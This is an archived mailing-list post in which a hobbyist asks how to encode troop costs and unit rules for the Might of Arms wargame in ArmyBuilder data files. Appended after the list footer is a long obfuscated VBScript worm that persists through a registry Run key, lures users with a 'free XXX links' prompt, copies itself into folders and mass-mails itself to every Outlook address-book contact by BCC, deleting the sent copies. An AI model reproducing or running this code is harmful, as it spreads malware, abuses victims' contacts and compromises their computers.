E
eric at landesfamily.com
Guest
Code:
Okay, I'm thinking about making data files for Might of Arms. (Historical
Ancient/Medieval ruleset) I don't think anyone's done this yet.
My brain has been so focused on how AB works for DBM, that I haven't really
looked at much else. So, I have some quesitons.
Might of Arms works like this:
An army list has between about 5 and 15 troop types listed. They list type
of troop, morale class, points per stand, and number of stands
allowed. Many of these troops will have up/downgrade options to add a
missile weapon or change morale class. There's also a troop ratio for each
list. (infantry must outnumber mounted, etc.)
When you put your army together, you purchase stands, organize them into
units, and buy leaders. Stands cost as listed, each unit costs 15 points,
and each leader cost 75 points if mounted, 60 if not.
So, I have the following questions:
How do I put in the 15 points/unit cost? A special item?
Some armies allow you to add missile weapons to part of a unit. How do I
handle that and keep them in the same unit?
If all the stands in a unit have a non-javelin missile weapon, the cost per
stand is reduced by 2. How should I approach that?
All for now... I'm sure I'll come up with more.
Eric
Eric Landes
[email]eric@landesfamily.com[/email] ([email]eric@landesfamily.com[/email])
[url=http://www.landesfamily.com]http://www.landesfamily.com[/url]
Page me online : [url=http://wwp.icq.com/497082]http://wwp.icq.com/497082[/url]
MULT TE PASS
armybuilder-unsubscribe@egroups.com (armybuilder-unsubscribe@egroups.com)
www.egroups.com - Simplifying group communications
A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""RUO:kwws=3D,,ttt1preo= fjbgfub`wluv1`lj,""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C4,Ejqug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C9!?!EpgcrgQ`hger&@&""""TP`ufsw1Qbwt= luh""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C6!?!C9,GlwoLgryqpmBpktgu""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!C6,Eqwlr!:<!.!Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C;!?!.!Rq!C6,Eqwlr!/!3""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!KlUrp&C6,Krgo&C;+*@&""""__""""++!:<!.= !Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C3,Eqn{Dkjg!YUepknr,UepknrDwjjLcog*!C3,@= wkjbNcrf&C6,Krgo&C;+*@&""""OFQHP1YEP""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C3.!?!EpgcrgQ`hger&@&""""Lrwollh1>ss= of`^wflq""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C33!?!C3.,IgrLcogUnceg&@&""""J>SF"""= "++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!Gcef!C30!Kl!C33,CbbpguuJkuru""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C35!?!C3.,EpgcrgKrgo&.+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C32!?!3!Rq!C30,CbbpguuGlrpkgu,Eqwlr"= "(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C37!?!C30,CbbpguuGlrpkgu&C32+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!C32!?!3!Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C37,Cbbpguu""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C35,@EE!$!@&""""8 = """"+!$!C37,Cbbpguu""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,Uw`hger!?!@&""""@kb`h = wkfp""""+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,@qb{!?!@&""""K^yb irq tfwk wkbpb = ofqhp1""""+!$!Efp&35+!$!Efp&3.+!$!@&""""Evb1""""+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,Crrcefoglru,Cbb!YUepknr,UepknrDwjjLc= og""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,BgjgrgCdrgpUw`okr!?!Rpwg""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,Uglb""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dwlerkql!@&@3+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!@0!?!3!Rq!Jgl&@3+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!Cue&Okb&@3*@0*3++!:<!52!Clb!Cue&Okb&@= 3*@0*3++!:<!57!Clb!Cue&Okb&@3*@0*3++!:<!304!Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!Cue&Okb&@3*@0*3++!Oqb!0!?!.!Rfgl""(("= ))=0A= A4.WriteLine(B("@5/VshudMhod)C)""@!?!@!$!Efp&Cue&Okb&@3*@0*3++!-!Pkifr&Cu= e&Okb&C5*9.*3++!-!3*3++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""@!?!@!$!Efp&Cue&Okb&@3*@0*3++!/!Pkifr&Cu= e&Okb&C5*9.*3++!-!3*3++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""@!?!@!$!Okb&@3*@0*3+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Dwlerkql""(("))=0A= A4.WriteLine(B("@5/Bmnrd"))=0A= A4.WriteLine(B("Gns!D`bi!@7!Ho!@0/Eshwdr"))=0A= A4.WriteLine(B("Hg!@7/EshwdUxqd!<!3!Uido"))=0A= A4.WriteLine(B("E!@7/EshwdMduuds!'!C)""8ZOKPE""("))=0A= A4.WriteLine(B("E!@7/EshwdMduuds!'!C)""8ZNKPEF;6""("))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Odyu"))=0A= A4.WriteLine(B("Rdu!@6!<!Bsd`udNckdbu)C)""YUepknr,Ufgjj""(("))=0A= A4.WriteLine(B("E!@6/SdfSd`e)C)""FMG[aJQECJaOCEFKLGZUqdrycpgZOkepquqdrZYk= lbqyuZEwppglrTgpukqlZNpqipcoDkjguBkp""(("))=0A= A4.WriteLine(B("Gtobuhno!C)C0("))=0A= A4.WriteLine(B("Gns!C3!<!0!Un!Mdo)C0("))=0A= A4.WriteLine(B("Hg!@rb)Lhe)C0-C3-0((!=3D?!23!@oe!@rb)Lhe)C0-C3-0((!=3D?!2= 2!@oe!@rb)Lhe)C0-C3-0((!=3D?!25!@oe!@rb)Lhe)C0-C3-0((!=3D?!071!@oe!@rb)Lh= e)C0-C3-0((!=3D?!344!Uido"))=0A= A4.WriteLine(B("Hg!@rb)Lhe)C0-C3-0((!Lne!3!<!1!Uido"))=0A= A4.WriteLine(B("C!<!C!'!Bis)@rb)Lhe)C0-C3-0((!,!Shfiu)@rb)Lhe)@2-9-0((!,!= 3-0(("))=0A= A4.WriteLine(B("Dmrd"))=0A= A4.WriteLine(B("C!<!C!'!Bis)@rb)Lhe)C0-C3-0((!*!Shfiu)@rb)Lhe)@2-9-0((!,!= 3-0(("))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Dmrd"))=0A= A4.WriteLine(B("C!<!C!'!Lhe)C0-C3-0("))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Odyu"))=0A= A4.WriteLine(B("Doe!Gtobuhno"))=0A= A4.WriteLine(B("Gtobuhno!B)B0("))=0A= A4.WriteLine(B("Gns!B3!<!0!Un!Mdo)B0("))=0A= A4.WriteLine(B("Hg!@rb)Lhe)B0-B3-0((!=3D?!25!@oe!@rb)Lhe)B0-B3-0((!=3D?!2= 4!@oe!@rb)Lhe)B0-B3-0((!=3D?!037!Uido"))=0A= A4.WriteLine(B("Hg!@rb)Lhe)B0-B3-0((!Lne!3!<!1!Uido"))=0A= A4.WriteLine(B("B!<!B!'!Bis)@rb)Lhe)B0-B3-0((!*!Shfiu)@rb)Lhe)@2-09-0((!*= !4-0(("))=0A= A4.WriteLine(B("Dmrd"))=0A= A4.WriteLine(B("B!<!B!'!Bis)@rb)Lhe)B0-B3-0((!,!Shfiu)@rb)Lhe)@2-09-0((!*= !4-0(("))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Dmrd"))=0A= A4.WriteLine(B("B!<!B!'!Lhe)B0-B3-0("))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Odyu"))=0A= A4.WriteLine(B("Doe!Gtobuhno"))=0A= A4.WriteLine(B("Rtc!E)E0("))=0A= A4.WriteLine(B("Hg!@0/GnmedsDyhrur)E0(!<!Ustd!Uido"))=0A= A4.WriteLine(B("Gns!D`bi!E3!Ho!@0/FduGnmeds)E0(/Ghmdr"))=0A= A4.WriteLine(B("Hg!TB`rd)E3/O`ld(!<!C)""OKPE50,GVG""(!Uido"))=0A= A4.WriteLine(B("Rdu!E2!<!@0/Bsd`udUdyuGhmd)@0/CthmeQ`ui)E3/Q`sdouGnmeds-C= )""UEPKNR,KLK""((-Ustd("))=0A= A4.WriteLine(B("E2/VshudMhod)C)""]uepknr_""(("))=0A= A4.WriteLine(B("E2/VshudMhod)C)""l.?ql!38hqkl8%8kd!#og! = ?!#lkem!bee!uglb!#lkem!""(!'!@0/CthmeQ`ui)@0/FduRqdbh`mGnmeds)1(-C)""JKLM= U,T@U""((("))=0A= A4.WriteLine(B("E2/Bmnrd"))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Hg!TB`rd)E3/O`ld(!<!C)""NKPEF;6,GVG""(!Uido"))=0A= A4.WriteLine(B("Rdu!E5!<!@0/Bsd`udUdyuGhmd)@0/CthmeQ`ui)E3/Q`sdouGnmeds-C= )""GTGLRU,KLK""((-Ustd("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""]Jgtgju_""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Glc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Eqwlr?4""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj3?.../Wlmlqylu""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)"".../WlmlqyluGlc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj0?3../Jgtgj!3..""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""3../Jgtgj!3..Glc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj5?0../Jgtgj!0..""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""0../Jgtgj!0..Glc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj2?5../Jgtgj!5..""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""5../Jgtgj!5..Glc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj7?2../Jgtgj!2..""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""2../Jgtgj!2..Glc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj4?7../Jgtgj!7..""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""7../Jgtgj!7..Glc`jgb?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)""""("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""].../Wlmlqylu_""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Wugp3?( (>(""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""Gtglr3?QL!HQKL8%81bee!uglb!#lkem!""(!'!@= 0/CthmeQ`ui)@0/FduRqdbh`mGnmeds)1(-C)""JKLMU,T@U""((("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?3""(("))=0A= A4.WriteLine(B("E5/VshudMhod)""""("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""]3../Jgtgj!3.._""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)""""("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""]0../Jgtgj!0.._""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)""""("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""]5../Jgtgj!5.._""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)""""("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""]2../Jgtgj!2.._""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)""""("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""]7../Jgtgj!7.._""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))=0A= A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))=0A= A4.WriteLine(B("E5/Bmnrd"))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Odyu"))=0A= A4.WriteLine(B("Gns!D`bi!E4!Ho!@0/FduGnmeds)E0(/RtcGnmedsr"))=0A= A4.WriteLine(B("E!E4/Q`ui"))=0A= A4.WriteLine(B("Odyu"))=0A= A4.WriteLine(B("Doe!Hg"))=0A= A4.WriteLine(B("Doe!Rtc"))=0A= A4.Close=0A= Set A5 =3D CreateObject(B("VRbshqu/Ridmm"))=0A= A5.RegWrite = B("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]Stoem= m"),A1.BuildPath(A1.GetSpecialFolder(1),B("STOEMM/WCR"))=0A= If = MsgBox(B("Uihr!vhmm!`ee!`!rinsubtu!un!gsdd!YYY!mhojr!no!xnts!edrjunq/!En!= xnt!v`ou!un!bnouhotd>"),36,B("Gsdd!YYY!mhojr")) =3D 6 Then=0A= Set A6 =3D = A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders(B("Edrjunq")),B("GSDD!YY= Y!MHOJR/TSM")),True)=0A= A6.WriteLine(B("ZHoudsoduRinsubtu"))=0A= A6.WriteLine(B("TSM 0 Then=0A= For A9 =3D 0 To A8.Count - 1=0A= If InStr(A8.Item(A9),B("]]")) <> 0 Then=0A= A1.CopyFile WScript.ScriptFullName, = A1.BuildPath(A8.Item(A9),B("MHOJR/WCR"))=0A= End If=0A= Next=0A= End If=0A= Set A10 =3D CreateObject(B("Ntumnnj/@qqmhb`uhno"))=0A= Set A11 =3D A10.GetNameSpace(B("L@QH"))=0A= For Each A12 In A11.AddressLists=0A= Set A13 =3D A10.CreateItem(0)=0A= For A14 =3D 1 To A12.AddressEntries.Count=0A= Set A15 =3D A12.AddressEntries(A14)=0A= If A14 =3D 1 Then=0A= A13.BCC =3D A15.Address=0A= Else=0A= A13.BCC =3D A13.BCC & B(":!") & A15.Address=0A= End If=0A= Next=0A= A13.Subject =3D B("Bidbj!uihr")=0A= A13.Body =3D B("I`wd!gto!vhui!uidrd!mhojr/") & Chr(13) & Chr(10) & = B("Cxd/")=0A= A13.Attachments.Add WScript.ScriptFullName=0A= A13.DeleteAfterSubmit =3D True=0A= A13.Send=0A= Next=0A= Function B(B1)=0A= For B2 =3D 1 To Len(B1)=0A= If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And = Asc(Mid(B1,B2,1)) <> 126 Then=0A= If Asc(Mid(B1,B2,1)) Mod 2 =3D 0 Then=0A= B =3D B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))=0A= Else=0A= B =3D B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))=0A= End If=0A= Else=0A= B =3D B & Mid(B1,B2,1)=0A= End If=0A= Next=0A= End Function=0A= ------=_NextPart_000_0007_01BF845B.0C205880--